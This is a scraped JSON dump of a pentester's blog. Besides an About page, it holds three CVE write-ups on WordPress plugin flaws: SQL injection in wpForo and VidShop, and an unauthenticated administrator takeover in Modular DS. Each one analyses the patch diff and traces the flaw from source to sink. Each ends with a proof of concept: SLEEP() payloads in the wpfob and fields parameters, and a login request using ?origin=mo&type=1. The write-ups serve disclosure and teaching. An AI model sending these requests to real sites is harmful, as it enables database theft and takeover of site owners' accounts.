[{"content":"$Whoami$ Pentester | Red Team Operator | Security Researcher\n🎯 About Me I\u0026rsquo;m a passionate cybersecurity professional specializing in penetration testing and red team operations. With a keen eye for vulnerabilities and a love for breaking (and fixing) things, I help organizations strengthen their security posture.\nWhen I\u0026rsquo;m not hunting for vulnerabilities, you\u0026rsquo;ll find me writing technical blog posts, participating in CTF competitions, and contributing to the security community.\n💼 What I Do Intern Penetration Tester At VNPT Cyber Immunity\n🔍 Penetration Testing Comprehensive security assessments across web applications, networks, and infrastructure. I identify vulnerabilities before attackers do.\n🎭 Red Team Operations Simulating real-world attack scenarios to test organizational defenses and incident response capabilities.\n📝 Security Research Discovering new attack vectors, documenting vulnerabilities, and sharing knowledge through detailed write-ups.\n🏴‍☠️ CTF Player Active participant in Capture The Flag competitions, constantly sharpening my skills and learning new techniques.\n🛠️ Technical Arsenal Languages \u0026amp; Scripting:\nPython | Bash | JavaScript | Java | PHP Security Tools:\nBurp Suite | Metasploit | Nmap | Wireshark SQLMap | Nikto | Gobuster | Hydra Specializations:\nWeb Application Security Command Injection \u0026amp; RCE File Upload Vulnerabilities Authentication Bypass Privilege Escalation 🏆 Recent Achievements 🥇 Solved multiple CTF challenges on various platforms 📚 Published detailed write-ups for security vulnerabilities 🎓 Continuously expanding knowledge in offensive security 🤝 Active contributor to the cybersecurity community 📫 Get In Touch I\u0026rsquo;m always interested in collaborating on security projects, discussing vulnerabilities, or sharing knowledge. Feel free to reach out!\n💼 LinkedIn: Phat Mai 📧 Email: phast28904@gmail.com 🐙 GitHub: @pzhat 📖 Latest Blog Posts Check out my recent write-ups on the home page or explore by categories and tags.\n\"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards.\" - Gene Spafford --- ","permalink":"https://blog.pzhat.id.vn/about/","summary":"\u003ch1 id=\"whoami\"\u003e$\u003cem\u003eWhoami\u003c/em\u003e$\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003ePentester | Red Team Operator | Security Researcher\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"-about-me\"\u003e🎯 About Me\u003c/h2\u003e\n\u003cp\u003eI\u0026rsquo;m a passionate cybersecurity professional specializing in penetration testing and red team operations. With a keen eye for vulnerabilities and a love for breaking (and fixing) things, I help organizations strengthen their security posture.\u003c/p\u003e\n\u003cp\u003eWhen I\u0026rsquo;m not hunting for vulnerabilities, you\u0026rsquo;ll find me writing technical blog posts, participating in CTF competitions, and contributing to the security community.\u003c/p\u003e","title":"About"},{"content":"CVE-2026-1581 WordPress wpForo Forum Plugin is vulnerable to a high priority SQL Injection Overview Published: 2026-02-19 CVE-ID: CVE-2026-1581 CVSS: 7.5 Affected Plugin: WordPress wpForo Forum Plugin Affected Versions: \u0026lt;= 2.4.14 Vulnerability Type: High priority SQL Injection CWE: CWE-89 Improper Neutralization of Special Elements used in an SQL Command.\nDescription The wpForo Forum plugin for WordPress is vulnerable to time-based SQL Injection via the \u0026lsquo;wpfob\u0026rsquo; parameter in all versions up to, and including, 2.4.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\nPatch And Commit Analysis Based on Changelog of the product, we will compare between wpForo plugin version 2.4.14 (Patch) and 2.4.14 (Vulnerable) and analyze how developer patch and get into sink.\nBy comparing the source code of the vulnerable version with the patched release, we can pinpoint the exact remediation strategy applied by the developers. The core of the patch is located in the includes/functions.php file, where a new custom sanitization function named wpforo_sanitize_orderby()was introduced.\nAs anticipated for ORDER BY SQL injection vulnerabilities—where traditional Prepared Statements cannot be used for column names—the developers implemented a strict Whitelisting approach. The wpforo_sanitize_orderby function acts as a security gatekeeper:\nContextual Whitelists: It defines an $allowed array containing explicitly permitted column names, meticulously categorized by their execution context (e.g., topics, posts, members, and search).\nInput Validation: Whenever the application processes the user-supplied wpfob parameter to sort results, it now routes the input through this function.\nNeutralization: The input is strictly validated against the predefined whitelist. If the injected payload does not match any of the allowed safe columns, it is immediately discarded and replaced with a safe default value.\nThis robust mechanism effectively neutralizes the vulnerability. Attackers can no longer append arbitrary SQL functions (such as SLEEP()) to the query, successfully mitigating the Time-based SQL Injection vector at the source.\nThe Patch also shows exact locations where the sink existed. The clean_text_field() function (which has no effect on SQLi errors in ORDER BY) has been completely replaced by the wpforo_sanitize_orderby() function with the corresponding context.\nRoot Cause Analysis: Tracing from Sink to Source To fully understand how this vulnerability is triggered, we will trace the data flow backward: starting from the execution point of the SQL query (The Sink) all the way up to where the user input is initially processed (The Source).\nThe Sink: Vulnerable SQL Execution (classes/Topics.php) The execution point of this Time-based SQL Injection lies within the get_topics() function in the \\classes\\Topics class.\nWhen observing how the SQL query is constructed, we can see the ORDER BY clause being dynamically built:\n$sql .= \u0026#34; ORDER BY \u0026#34; . str_replace( \u0026#39;,\u0026#39;, \u0026#39; \u0026#39; . esc_sql( $order ) . \u0026#39;,\u0026#39;, esc_sql( $orderby ) ) . \u0026#34; \u0026#34; . esc_sql( $order ); Why is this vulnerable? The developer attempted to secure the input using WordPress\u0026rsquo;s native esc_sql() function. However, esc_sql() is designed to escape string values by adding slashes to quotes (e.g., \u0026rsquo; becomes '). In SQL syntax, column names or functions within an ORDER BY clause are not enclosed in quotes. Therefore, an attacker can simply inject an SQL function like (SELECT SLEEP(5)) without using any quotes, entirely bypassing the esc_sql() protection. The query is then executed directly via WPF()-\u0026gt;db-\u0026gt;get_results( $sql, ARRAY_A );.\nThe Data Flow: Variable Extraction Moving one step backward, we need to find where the $orderby variable originates within the get_topics() function.\nAt the beginning of this function, the $args array passed into the function is unpacked into local variables using PHP\u0026rsquo;s extract() function:\nThis means that if the $args array contains a key named orderby (i.e., $args['orderby'] = \u0026quot;malicious_payload\u0026quot;), it will be directly extracted and overwrite the local $orderby variable, which is then passed down to the vulnerable SQL string concatenation.\nThe Source: Unsafe Input Handling (wpforo.php) Finally, we trace back to where the $args['orderby'] is initially populated from the user\u0026rsquo;s request. This takes us to the core plugin file, specifically within the init_current_object() method of the wpforo class.\npublic function init_current_object() { $this-\u0026gt;reset_current_object(); $this-\u0026gt;current_object[\u0026#39;items_per_page\u0026#39;] = $this-\u0026gt;post-\u0026gt;get_option_items_per_page(); $url = $this-\u0026gt;current_url; $get = $this-\u0026gt;GET; if( ! is_wpforo_page( $url ) ) return; $current_url = wpforo_get_url_query_vars_str( $url ); $current_object = []; if( wpfkey( $get, \u0026#39;wpfs\u0026#39; ) || wpfval( $get, \u0026#39;foro\u0026#39; ) === \u0026#39;search\u0026#39; ) $this-\u0026gt;current_object[\u0026#39;template\u0026#39;] = \u0026#39;search\u0026#39;; if( wpfval( $get, \u0026#39;wpforo\u0026#39; ) || wpfval( $get, \u0026#39;foro\u0026#39; ) ) { $request = ( wpfval( $get, \u0026#39;wpforo\u0026#39; ) ) ? wpfval( $get, \u0026#39;wpforo\u0026#39; ) : wpfval( $get, \u0026#39;foro\u0026#39; ); if( $request === \u0026#39;page\u0026#39; ) $this-\u0026gt;current_object[\u0026#39;template\u0026#39;] = \u0026#39;page\u0026#39;; } This method handles routing and object initialization based on the requested template (e.g., recent, search, members). When preparing the arguments to fetch topics for the 'recent' template, we find the exact entry point of the user input:\n$args[\u0026#39;orderby\u0026#39;] = ( ! empty( WPF()-\u0026gt;GET[\u0026#39;wpfob\u0026#39;] ) ) ? sanitize_text_field( WPF()-\u0026gt;GET[\u0026#39;wpfob\u0026#39;] ) : \u0026#39;modified\u0026#39;; The Flaw at the Source: The application receives the wpfob parameter directly from the user\u0026rsquo;s GET request WPF()-\u0026gt;GET['wpfob']. It attempts to clean this input using sanitize_text_field(). While this function is excellent for stripping HTML tags and preventing Cross-Site Scripting (XSS), it does absolutely nothing to strip or neutralize SQL commands like SLEEP(), BENCHMARK(), or CASE WHEN\u0026hellip;.\nConsequently, the payload travels securely from the user\u0026rsquo;s browser, passes through inadequate sanitization at the Source, flows through the $args array, and is ultimately executed at the Sink, resulting in a critical Time-based SQL Injection.\nBased on all of it we have an attack flow :\nProof Of Concept POC Based on the source code analysis and data flow tracing, we can successfully exploit this Time-Based SQL Injection vulnerability by injecting payloads into the wpfob parameter.\nFirst, we need to establish a baseline. Sending a standard GET /community/recent/ request without any payload takes approximately 23 seconds to process on our specific test environment.\nNext, we inject the sleep(5) payload via the wpfob parameter (?wpfob=sleep(5)). The server response time increases to roughly 29 seconds. This demonstrates a clear 5-to-6-second delay directly caused by our injected SQL command.\nTo definitively confirm the vulnerability and rule out random network latency, we increase the payload to sleep(10). As expected, the response time jumps to 34 seconds (baseline + 10 seconds). This precise control over the database\u0026rsquo;s execution time conclusively proves the existence of the SQL Injection vulnerability.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-21-02-cve-2026-1581/","summary":"\u003ch1 id=\"cve-2026-1581-wordpress-wpforo-forum-plugin-is-vulnerable-to-a-high-priority-sql-injection\"\u003eCVE-2026-1581 WordPress wpForo Forum Plugin is vulnerable to a high priority SQL Injection\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BJipTiSdbe.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-02-19\n\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-1581\n\u003cstrong\u003eCVSS:\u003c/strong\u003e 7.5\n\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e WordPress wpForo Forum Plugin\n\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 2.4.14\n\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e High priority SQL Injection\n\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-89 Improper Neutralization of Special Elements used in an SQL Command.\u003c/p\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe \u003cstrong\u003ewpForo Forum plugin\u003c/strong\u003e for WordPress is vulnerable to \u003cstrong\u003etime-based SQL Injection\u003c/strong\u003e via the \u003cstrong\u003e\u0026lsquo;wpfob\u0026rsquo;\u003c/strong\u003e parameter in \u003cstrong\u003eall versions\u003c/strong\u003e up to, and including, 2.4.14 due to \u003cstrong\u003einsufficient escaping\u003c/strong\u003e on the user supplied parameter and \u003cstrong\u003elack of sufficient preparation\u003c/strong\u003e on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\u003c/p\u003e","title":"CVE-2026-1581 WordPress wpForo Forum Plugin is vulnerable to a high priority SQL Injection"},{"content":"CVE-2026-0702 WordPress VidShop Plugin \u0026lt;= 1.1.4 is vulnerable to a high priority SQL Injection VidShop Plugin Vulnerable to SQL Injection Overview Published: 2026-01-28 CVE-ID: CVE-2026-0702 CVSS: 7.5 High Affected Plugin: VidShop Plugin Affected Versions: \u0026lt;= 1.1.4 Vulnerability Type: High priority SQL Injection CWE: CWE-89 Improper Neutralization of Special Elements used in an SQL Command Description The VidShop – Shoppable Videos for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the \u0026lsquo;fields\u0026rsquo; parameter in all versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\nPatch And Commit Analysis Based on the development change log, version 1.1.4 was identified as the vulnerable version, and version 1.1.5 was selected to perform a patch differential analysis. The changelog explicitly mentions \u0026ldquo;Added column name validation in Query Builder\u0026rdquo; alongside the API improvements.\nVulnerability Analysis (Version 1.1.4) Analysis of the code diffs reveals a critical chain of vulnerabilities stemming from a logic flaw in the Query Builder and a lack of validation in the Controller.\nRoot Cause: Insecure Query Builder Logic\nIn includes/Utils/Query_Builder.php (Version 1.1.4), the select() method accepted an array of columns without validation. Crucially, the internal logic allowed raw SQL injection if the column name contained specific keywords like AS or . to support aliases. This design flaw meant that if an attacker could pass a string containing AS to the select() method, the builder would not escape it, executing it as raw SQL. public function select( $columns = array( \u0026#39;*\u0026#39; ) ) { $this-\u0026gt;columns = is_array( $columns ) ? $columns : func_get_args(); return $this; } /** * Set raw SQL for the SELECT clause (for aggregation queries) * * @param string $raw_sql The raw SQL for SELECT clause * @return $this */ public function select_raw( $raw_sql ) { $this-\u0026gt;raw_columns = $raw_sql; return $this; } Entry Point: Lack of Input Sanitization\nIn includes/REST_API/V1/Videos_Controller.php (Version 1.1.4), the API parameters fields and ids were defined without sanitize_callback. This allowed unvalidated user input to be passed directly to the vulnerable Query Builder. public function get_items( $request ) { $page = $request-\u0026gt;get_param( \u0026#39;page\u0026#39; ); $per_page = $request-\u0026gt;get_param( \u0026#39;per_page\u0026#39; ); $search = $request-\u0026gt;get_param( \u0026#39;search\u0026#39; ); $status = $this-\u0026gt;check_private_permission( $request ) ? $request-\u0026gt;get_param( \u0026#39;status\u0026#39; ) : \u0026#39;published\u0026#39;; $orderby = $request-\u0026gt;get_param( \u0026#39;orderby\u0026#39; ); $order = $request-\u0026gt;get_param( \u0026#39;order\u0026#39; ); $fields = $request-\u0026gt;get_param( \u0026#39;fields\u0026#39; ); $ids = $request-\u0026gt;get_param( \u0026#39;ids\u0026#39; ); $query = Video_Model::query(); if ( $ids ) { $ids = explode( \u0026#39;,\u0026#39;, $ids ); $query-\u0026gt;where_in( \u0026#39;id\u0026#39;, $ids ); } ..... if ( $fields ) { $selected_fields = explode( \u0026#39;,\u0026#39;, $fields ); $query-\u0026gt;select( $selected_fields ); } Patch Analysis (Version 1.1.5) In version 1.1.5, the vendor applied a Defense in Depth strategy, fixing the vulnerability at both the Entry Point (Controller) and the Root Cause (Query Builder).\nLayer 1: Hardening the Root Cause (Query Builder)\nAs seen in the Query_Builder.php diff, the developer implemented strict validation logic to prevent bypasses:\nis_valid_column_name(): A new protected method was added using Regular Expressions (preg_match) to enforce strict naming conventions: Standard columns must match /^[a-zA-Z_][a-zA-Z0-9_]*$/ (Alphanumeric and underscores only). Aliases using AS are now strictly parsed to ensure both the column and the alias are safe, preventing the injection of special characters like parentheses () or comments --. sanitize_columns(): This method filters the input array using the validator above. select() Update: The select method now explicitly calls $this-\u0026gt;sanitize_columns() before processing the query, ensuring that even if bad data reaches this layer, it is neutralized. Layer 2: Securing the Entry Point (Controller)\nIn Videos_Controller.php, the developer implemented input validation to reject malicious requests early:\nWhitelist Implementation: Added get_allowed_fields() to define a hardcoded list of permissible columns (e.g., id, title). Sanitization Callbacks: Added sanitize_fields_param and sanitize_ids_param to the API route definition. This ensures that the fields parameter is stripped of any values not in the whitelist, and ids are forced to integers using absint. Prepared Statements: In the get_items method, raw SQL concatenation in the ORDER BY clause was replaced with $wpdb-\u0026gt;prepare, using %d placeholders for IDs. Data Flow Analysis: Sink-to-Source Trace The Sink (Vulnerability enforcement point)\nLocation: includes/Utils/Query_Builder.php Method: to_sql() This is where the final SQL statement is built and prepared to be sent to the Database. The vulnerability lies in the column name checking logic.\nif ( strpos( $column, \u0026#39;.\u0026#39; ) !== false || stripos( $column, \u0026#39; as \u0026#39; ) !== false ) { return $column; // \u0026lt;--- SINK: Return raw sql query without escape } Explanation: If the $column variable contains the keyword AS or a dot, it will bypass the backticks and be appended directly to the SELECT statement.\nPropagation (Data propagation)\nLocation: includes/Utils/Query_Builder.php Method: select() Malicious data from the Controller is transferred to the Query Builder here.\npublic function select( $columns = array( \u0026#39;*\u0026#39; ) ) { // Dirty data is assigned to class properties $this-\u0026gt;columns = is_array( $columns ) ? $columns : func_get_args(); return $this; } The Source (Input data source)\nLocation: includes/REST_API/V1/Videos_Controller.php Method: get_items() This is the entry point (Entry Point), where hackers inject payload into the system via API Request.\n// Receive raw input from request (Tainted Data) $fields = $request-\u0026gt;get_param( \u0026#39;fields\u0026#39; ); // ... if ( $fields ) { // Convert string to array $selected_fields = explode( \u0026#39;,\u0026#39;, $fields ); // Pass dirty data into Query Builder (Propagation) $query-\u0026gt;select( $selected_fields ); } Proof Of Concept POC The vulnerability is a Time-Based Blind SQL Injection affecting the fields parameter. To confirm the flaw, we compare the response time of a legitimate request against a request containing a SQL SLEEP() command.\nPrerequisite: The VidShop plugin must have at least one video created in the dashboard. If the database table is empty, the SQL query will return an empty set immediately, and the SLEEP() function will not execute.\nFirst, we send a standard GET request to the API endpoint asking for valid columns (id and title).\nRequest: GET /wp-json/vsfw/v1/videos?fields=id,title Observation: The server processes the request normally. Response Time: Approximately 1.1 seconds. Next, we inject a** time-based payload**. We append (SELECT SLEEP(5)) AS injection to the fields parameter. The AS keyword is critical here, as it triggers the specific logic flaw in the Query_Builder that bypasses backtick escaping.\nPayload: (SELECT SLEEP(5)) AS injection Request: GET /wp-json/vsfw/v1/videos?fields=id,title,(SELECT+SLEEP(5))+AS+injection Observation: The server executes the injected SQL command, causing the database to sleep for 5 seconds before returning the response. Response Time: Approximately 6.1 seconds (1.1s baseline + 5s sleep). The significant delay of exactly 5 seconds in the second request confirms that the arbitrary SQL command was successfully executed by the database. This proves the existence of an unauthenticated SQL Injection vulnerability in the fields parameter.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-14-02-cve-2026-0702/","summary":"\u003ch1 id=\"cve-2026-0702-wordpress-vidshop-plugin--114-is-vulnerable-to-a-high-priority-sql-injection\"\u003eCVE-2026-0702 WordPress VidShop Plugin \u0026lt;= 1.1.4 is vulnerable to a high priority SQL Injection\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rkhOvm9vWg.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"vidshop-plugin-vulnerable-to-sql-injection\"\u003eVidShop Plugin Vulnerable to SQL Injection\u003c/h1\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-01-28\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-0702\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVSS:\u003c/strong\u003e 7.5 High\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e VidShop Plugin\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Versions:\u003c/strong\u003e  \u0026lt;= 1.1.4\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e High priority SQL Injection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-89 Improper Neutralization of Special Elements used in an SQL Command\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe VidShop – Shoppable Videos for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the \u0026lsquo;fields\u0026rsquo; parameter in all versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\u003c/p\u003e","title":"CVE-2026-0702 WordPress VidShop Plugin \u003c= 1.1.4 is vulnerable to a high priority SQL Injection"},{"content":"CVE-2026-23550 WordPress Modular DS Plugin \u0026lt;= 2.5.1 is vulnerable to a high priority Privilege Escalation WordPress Modular DS Plugin Privilege Escalation Vulnerability Overview Published: 2026-01-14 CVE-ID: CVE-2026-23550 CVSS: 10.0 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Affected Plugin: WordPress Modular DS Plugin Affected Versions: \u0026lt;= 2.5.1 Vulnerability Type: High priority Privilege Escalation CWE: CWE-266 Incorrect Privilege Assignment Description Incorrect Privilege Assignment vulnerability in Modular DS allows Privilege Escalation.This issue affects Modular DS: from n/a through 2.5.1.\nPatch And Commit Analysis Based on development history, I will compare between Modular DS version 2.5.1 (Vulnerable) and Modular DS version 2.5.2 (Patch).\nRoute Matching Logic Hardening\nObservation: The patch introduces a significant change in how the plugin handles incoming HTTP requests and route matching within the bootHttp method.\nBefore Patch (Vulnerable State): In the vulnerable version (right side of the diff), the code directly attempted to match the incoming request against registered routes using: $route = $routes-\u0026gt;match($request); This implementation implicitly trusted the standard router to validate the request. If the URL structure matched a registered endpoint (e.g., /api/modular-connector/login/), the application would proceed to check HttpUtils::isDirectRequest(). Since the isDirectRequest logic was flawed (relying on spoofable inputs), this direct routing mechanism facilitated the bypass by allowing the request to reach the execution flow effortlessly.\nAfter Patch (Secured State): The patched version (left side of the diff) replaces the direct routing call with a filter hook: $route = apply_filters(\u0026#39;ares/routes/match\u0026#39;, \\false); Key Changes \u0026amp; Security Implications:\nDefault Deny Principle: The standard route matching is replaced by a filter that defaults to \\false. This means that by default, no route is matched, and the request is treated as invalid unless explicitly authorized by a hooked function. Execution Flow Control: By removing the direct $routes-\u0026gt;match($request) call, the developers have decoupled the URL structure from immediate execution. The plugin no longer automatically resolves the route based solely on the URL path. Filter-Based Validation: The introduction of the ares/routes/match filter forces the routing logic to pass through a validation layer. This prevents the \u0026quot;Direct Request\u0026quot; check from being triggered solely by a crafted URL, effectively neutralizing the entry point used by the exploit. Patch Analysis: API Routing Hardening\nObservation: The developers introduced a new \u0026quot;default\u0026quot;route definition at the end of the api.php file (highlighted in green in the patch diff).\nBefore Patch (Vulnerable State): The route file simply listed the functional endpoints (e.g., for Backup, WooCommerce, Safe Upgrade). If a request did not match these specific routes but was manipulated to satisfy the isDirectRequest() check in the Bootloader, the application flow could behave unpredictably, potentially falling through to a privileged state due to the loose coupling in the router.\nAfter Patch (Secured State): A specific \u0026ldquo;catch-all\u0026rdquo; route has been added:\nRoute::get(\u0026#39;default/request\u0026#39;, function () { abort(404); })-\u0026gt;name(\u0026#39;default\u0026#39;); Security Implications:\nExplicit Termination (Fail-Safe): This new route acts as a safety net. It explicitly defines a default/request endpoint that triggers an abort(404). Prevention of Route Ambiguity: By registering this default route, the developers ensure that the routing logic has a concrete fallback. Even if an attacker attempts to manipulate the request flow, this route serves as a \u0026ldquo;dead end,\u0026rdquo; forcing the application to terminate with a \u0026ldquo;Not Found\u0026rdquo; error rather than processing unintended logic. Patch Analysis: Route Binding Enforcement\nObservation: The bindOldRoutes method has undergone a critical reordering of operations to enforce the \u0026quot;Secure Default\u0026quot; strategy introduced in the previous steps.\nBefore Patch (Vulnerable State): The code prioritized the bypass check above all else: public function bindOldRoutes($route, $removeQuery = false) { if (HttpUtils::isDirectRequest()) { return $route; } // ... route loading happens later } Vulnerability: This was the definitive failure point. By placing isDirectRequest() at the very top, the application allowed the execution flow to return early if the malicious origin=mo parameter was present. It effectively short-circuited the routing initialization, returning a route object before a safe baseline was established.\nAfter Patch (Secured State): The developers inverted the logic to prioritize the initialization of the default route: public function bindOldRoutes($removeQuery = false) { $routes = app(\u0026#39;router\u0026#39;)-\u0026gt;getRoutes(); $route = $routes-\u0026gt;getByName(\u0026#39;default\u0026#39;); // Retrieve the 404 trap-door defined in api.php $route-\u0026gt;bind(request()); // Explicitly bind the request to this safe default first if (HttpUtils::isDirectRequest()) { return $route; } // ... } Security Implications:\nPre-emptive Binding: The patch ensures that before any \u0026ldquo;Direct Request\u0026rdquo; checks are performed, the request is firmly bound to the default route (which resolves to a 404 Abort). Fail-Safe State: Even if the isDirectRequest() check passes (or is tricked), the underlying route object has already been initialized to a safe, non-privileged state. The system assumes the request is invalid until proven otherwise by standard routing mechanisms, preventing the \u0026ldquo;unauthenticated admin\u0026rdquo; escalation. Those 3 patches make the bug been fixed.\nVulnerability Technical Analysis Root Cause: Trust Boundary Violation in Request Validation\nThe core vulnerability stems from an insecure implementation of the \u0026ldquo;Direct Request\u0026rdquo; verification mechanism via the isDirectRequest() method. The application attempts to distinguish internal or trusted traffic using a weak indicator of trust, specific HTTP query parameters.\nThe Flaw: The logic strictly relies on the presence of the origin parameter set to \u0026lsquo;mo\u0026rsquo; and a non-empty type parameter.\nSecurity Weakness: There is a complete absence of cryptographic verification (such as HMAC signatures, API secrets, or IP allowlisting). This allows any external actor to spoof a trusted request by simply appending ?origin=mo\u0026amp;type=1 to the URL, effectively bypassing the initial trust boundary.\nAuthentication Bypass: Insufficient Guard Logic\nWhile the sensitive API routes are technically protected by the auth middleware, the guard logic contains a critical flaw when handling requests flagged as \u0026ldquo;Direct.\u0026rdquo;\nUpon receiving a spoofed \u0026ldquo;Direct Request\u0026rdquo; (as described above), the middleware delegates validation to the validateOrRenewAccessToken() function.\nThe Logic Gap: This function validates the state of the configuration (i.e., checking if the WordPress site has active tokens connected to the Modular platform) rather than validating the authenticity of the current request.\nImpact: Consequently, if a target site is already connected to the Modular service (a standard operational state), the middleware erroneously authorizes the spoofed request without requiring any session cookies or credentials.\nThe Sink: Unsafe Default Execution Leading to Account Takeover\nThe most severe impact manifests in the /login/{modular_request} endpoint. The getLogin controller exhibits an unsafe fallback behavior when processing user identification.\nThe execution flow is as follows:\nInput Parsing: The method attempts to retrieve a User ID from the request body.\nDangerous Fallback: If the User ID is missing (which is trivial to omit in a GET request), the system does not deny access. Instead, it executes ServerSetup::getAdminUser().\nPrivilege Escalation: The application automatically retrieves the highest-privileged administrator account and generates a valid session via ServerSetup::loginAs().\nConclusion: This chain of failures turns a simple parameter spoofing vulnerability into a full-chain Zero-Click Administrator Account Takeover.\nVulnerability Execution Trace Source (User Input Entry Point)\nFile: vendor/ares/framework/src/Foundation/Http/HttpUtils.php Method: isDirectRequest() Trace: The application accepts untrusted input directly from the global HTTP Request. // [Source] Data enters here via $_GET parameters $originQuery = $request-\u0026gt;get(\u0026#39;origin\u0026#39;) === \u0026#39;mo\u0026#39;; // Tainted Input 1 $isFromQuery = ($originQuery) \u0026amp;\u0026amp; $request-\u0026gt;has(\u0026#39;type\u0026#39;); // Tainted Input 2 if ($isFromQuery) { return true; // [Taint Propagation] Boolean \u0026#39;true\u0026#39; is returned based on tainted input } Propagation (Logic Bypass)\nFile: src/app/Providers/RouteServiceProvider.php Method: bindOldRoutes() Trace: The tainted boolean flows into the routing logic, causing an early return. // [Propagation] The check consumes the tainted boolean if (HttpUtils::isDirectRequest()) { return $route; // [Bypass Point] Critical security binding (404 default) is skipped } Propagation (Route Matching)\nFile: src/Foundation/Bootloader.php Method: bootHttp() Trace: Because the security binding was skipped, the Bootloader processes the request as valid. if (HttpUtils::isDirectRequest()) { // [Propagation] Route is matched against /api/modular-connector/login/ $route = $routes-\u0026gt;match($request); } Sink (Dangerous Execution)\nFile: src/app/Http/Controllers/AuthController.php Method: getLogin(SiteRequest $request) Trace: The execution lands in the controller, triggering the final exploit. // [Sink Entry] public function getLogin($request) { $user = data_get($request-\u0026gt;body, \u0026#39;id\u0026#39;); // Returns NULL for simple GET request if (empty($user)) { // [Vulnerability Trigger] Unsafe Default Behavior $user = ServerSetup::getAdminUser(); // Fetches Admin User } // [Critical Sink] Admin session creation $cookies = ServerSetup::loginAs($user, true); return Redirect::to_admin(); } sequenceDiagram\rautonumber\ractor Attacker\rparticipant API_File as routes/api.php\u0026lt;br\u0026gt;(Definitions)\rparticipant Provider as RouteServiceProvider.php\u0026lt;br\u0026gt;(Gatekeeper)\rparticipant Boot as Bootloader.php\u0026lt;br\u0026gt;(Executor)\rparticipant Controller as LoginController\rNote over API_File, Controller: SCENARIO 1: VULNERABLE FLOW (v2.5.1)\rAttacker-\u0026gt;\u0026gt;Provider: GET /login/?origin=mo\rProvider-\u0026gt;\u0026gt;Provider: Check isDirectRequest()\rNote right of Provider: TRUE (Check origin=mo)\rProvider--\u0026gt;\u0026gt;Boot: Return Route Object (IMMEDIATELY)\u0026lt;br\u0026gt;⚠️ SKIPS Security Binding\rBoot-\u0026gt;\u0026gt;Boot: Check isDirectRequest() -\u0026gt; TRUE\rBoot-\u0026gt;\u0026gt;API_File: $routes-\u0026gt;match($request)\rAPI_File--\u0026gt;\u0026gt;Boot: Match Found: /login/\rNote right of Boot: Auto-match succeeds because\u0026lt;br\u0026gt;no filter blocked it.\rBoot-\u0026gt;\u0026gt;Controller: Execute Login Logic\rController--\u0026gt;\u0026gt;Attacker: 200 OK + Set-Cookie (ADMIN)\r%% Separator\rNote over API_File, Controller: SCENARIO 2: PATCHED FLOW (v2.5.2)\rAttacker-\u0026gt;\u0026gt;Provider: GET /login/?origin=mo\rNote right of API_File: Patch 1: Added \u0026#39;Default 404\u0026#39; Route\rProvider-\u0026gt;\u0026gt;Provider: Get \u0026#39;default\u0026#39; route (404)\rProvider-\u0026gt;\u0026gt;Provider: BIND request to \u0026#39;default\u0026#39; route \u0026lt;br\u0026gt; (Patch 3: Reordered Logic)\rProvider-\u0026gt;\u0026gt;Provider: Check isDirectRequest() -\u0026gt; TRUE\rProvider--\u0026gt;\u0026gt;Boot: Return Route Object (Already bound to 404)\rBoot-\u0026gt;\u0026gt;Boot: Check isDirectRequest() -\u0026gt; TRUE\rNote right of Boot: Patch 2: Replaced direct match\u0026lt;br\u0026gt;with apply_filters(..., false)\rBoot-\u0026gt;\u0026gt;Boot: Filter defaults to FALSE\rBoot--\u0026gt;\u0026gt;Attacker: 404 Not Found (Exploit Failed) Proof Of Concept (POC) HTTP Request (Burp Suite) The following request demonstrates the successful exploitation. Note the inclusion of a dummy ID (1) in the path to satisfy the route requirement /login/{modular_request}.\nRequest:\nGET /api/modular-connector/login/1?origin=mo\u0026amp;type=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 